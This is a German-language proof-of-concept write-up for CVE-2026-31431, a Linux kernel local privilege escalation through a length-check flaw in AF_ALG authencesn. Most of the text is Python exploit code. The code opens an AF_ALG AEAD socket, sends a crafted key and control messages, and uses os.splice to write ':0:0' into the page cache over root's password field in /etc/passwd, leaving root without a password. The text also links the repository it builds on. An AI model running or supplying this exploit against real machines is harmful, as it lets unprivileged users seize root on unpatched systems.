
Proof-of-Concept-Exploit für CVE-2026-31431, eine Linux-Kernel-Privilegienerweiterung über einen Umgehungsfehler der Längenprüfung von AF_ALG authenc, die Root-Zugriff durch Modifikation von /etc/passwd erreicht.
Diese Schwachstelle nutzt einen Fehler in der Längenprüfung von authencesn unter Linux aus, wodurch eine Dirty Page an eine Stelle zurückgeschrieben wird, auf die der Benutzer keine Berechtigung hat, was zu einer Privilege-Escalation führt
Die Angriffsmethode basiert hauptsächlich auf diesem Repo, einige Payloads wurden modifiziert
https://github.com/rootsecdev/cve_2026_31431
Dieses Bild zeigt den Korrektur-Patch des Linux-Kernels 6.12.85. Diese Patches werden später beim Tracing des Codes berücksichtigt
# Get /etc/passwd file info
with open("/etc/passwd", "rb") as f: # binary open
content = f.read()
idx = content.find(b"root:x") # find root:x location
x_offset = idx + 5 # Get x location
Ziel ist es, das Root-Passwort in /etc/passwd auf passwortlos zu ändern (ohne Verifizierung über /etc/shadow)
# Before: root:[x:0:]0:root:/root:/bin/bash
# After root:[:0:0]0:root:/root:/bin/bash
exploit_data = b":0:0"
sock = socket.socket(AF_ALG, socket.SOCK_SEQPACKET, 0) # Connect socket AF_ALG using sequence packet
sock.bind(("aead", ALG_NAME))
# Build the key payload
# Structure: [rtattr header (8 bytes)] + [enc_key_len (4 bytes)] + [authkey] + [enckey]
authkey, enckey = b"\x00" * 32, b"\x00" * 16
rtattr = struct.pack("HH", 8, 1)
keyparam = struct.pack(">I", len(enckey))
key = rtattr + keyparam + authkey + enckey
# Set key and accept socket
sock.setsockopt(SOL_ALG, ALG_SET_KEY, key)
op, _ = sock.accept() # open socket
# Send payload
payload = b"\x00" * 4 + string
cmsg = [
(SOL_ALG, ALG_SET_OP, struct.pack("I", 0)), # Decrypt
(SOL_ALG, ALG_SET_IV, struct.pack("I", 16) + b"\x00" * 16), # Set IV
(SOL_ALG, ALG_SET_AEAD_ASSOCLEN, struct.pack("I", 8)), # Set AAD length(8)
]
op.sendmsg([payload], cmsg, socket.MSG_MORE)
# Splice connection
# Page Cache(exploit payload) -> socket(AF_ALG) -> Data(write back) -> pwn!!!
pr, pw = os.pipe()
os.splice(fd, pw, 32, offset_src=x_offset) # copy data from Page Cache to pipe
os.splice(pr, op.fileno(), 32) # copy data from pipe to socket
try:
op.recv(64)
except OSError:
pass